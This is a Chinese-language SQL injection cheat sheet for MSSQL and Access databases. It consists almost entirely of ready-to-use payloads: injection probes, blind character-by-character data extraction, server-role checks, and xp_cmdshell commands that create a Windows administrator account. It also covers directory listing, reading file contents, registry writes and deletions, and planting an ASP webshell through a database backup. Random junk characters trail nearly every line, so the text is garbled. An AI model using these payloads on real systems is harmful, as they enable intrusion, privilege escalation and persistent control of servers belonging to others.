1.判断是否有注入;and 1=1 ;and 1=2 oYqE*mA
2.初步判断是否是mssql ;and user>0 Ai jUs*n 2
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3.注入参数是字符'and [查询条件] and ''=' n1)'cS5}
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y~GUR&ww0n
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5.判断数据库系统 4[H,3}p9H
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;and (select count(*) from sysobjects)>0 mssql Nz @8
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;and (select count(*) from msysobjects)>0 access v|To+P6b
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 g)N54WV
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 .9I_NG
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 eU"mG3__
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9.(1)猜字段的ascii值(access) GFY-IC+fc
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 g$gVm:=
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(2)猜字段的ascii值(mssql) rUvwpP"k
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 _"v~"k 90^
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10.测试权限结构(mssql) T/5nu?v
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Z#@6#S`
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >VypE8H]x
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- r)%4-XeV
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- XNK
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- M;> ha,x
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {!g?d<*
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;and 1=(select IS_MEMBER('db_owner'));-- hX %s]"
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11.添加mssql和系统的帐户 _=)!xnYf
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;exec master.dbo.sp_addlogin username;-- 7:ckq(89
;exec master.dbo.sp_password null,username,password;-- v7g
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- dkf}),Z F
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- D@2Ya/c
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- kaV%0Of]
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12.(1)遍历目录 ~igRg~k:/
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;create table dirs(paths varchar(100), id int) il=?o f\,i
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;insert dirs exec master.dbo.xp_dirtree 'c:\' f*UBigk
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(2)遍历目录 }FuVY><l
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- _QD/!~O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;&/sj-xJ2
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9 J$Y,Z
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 lF)0aDk'h
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 BYTXAZLb
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13.mssql中的存储过程 Vj#%B.#Zbf
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xp_regenumvalues 注册表根键, 子键 (*LTqC
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 i.B$?cr~
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xp_regread 根键,子键,键值名 K'>P!R:El
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 h[vAU 9f)
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xp_regwrite 根键,子键, 值名, 值类型, 值 k9.u[y.
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d#x8O4S%i2
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xp_regdeletevalue 根键,子键,值名 E&}H\zt#
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 {jq^hM!TEy
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /DgT1^&0
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14.mssql的backup创建webshell 0Og/47dO.2
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use model Z&2
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create table cmd(str image); #JX|S'\x
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insert into cmd(str) values (''); %D%e:se
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backup database model to disk='c:\l.asp'; XRX7qo(0g
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15.mssql内置函数 BxW||O|_N"
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;and (select @@version)>0 获得Windows的版本号 r;@:S~
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^hGZVGSv
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;and (select user_name())>0 爆当前系统的连接用户 N^@%qUvT]
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;and (select db_name())>0 得到当前连接的数据库 gK] T}
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16.简洁的webshell z{<q0.^EFh
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create table cmd(str image); 2=/-d$
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insert into cmd(str) values (''); Y6[] wUJ
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backup database model to disk='g:\wwwtest\l.asp';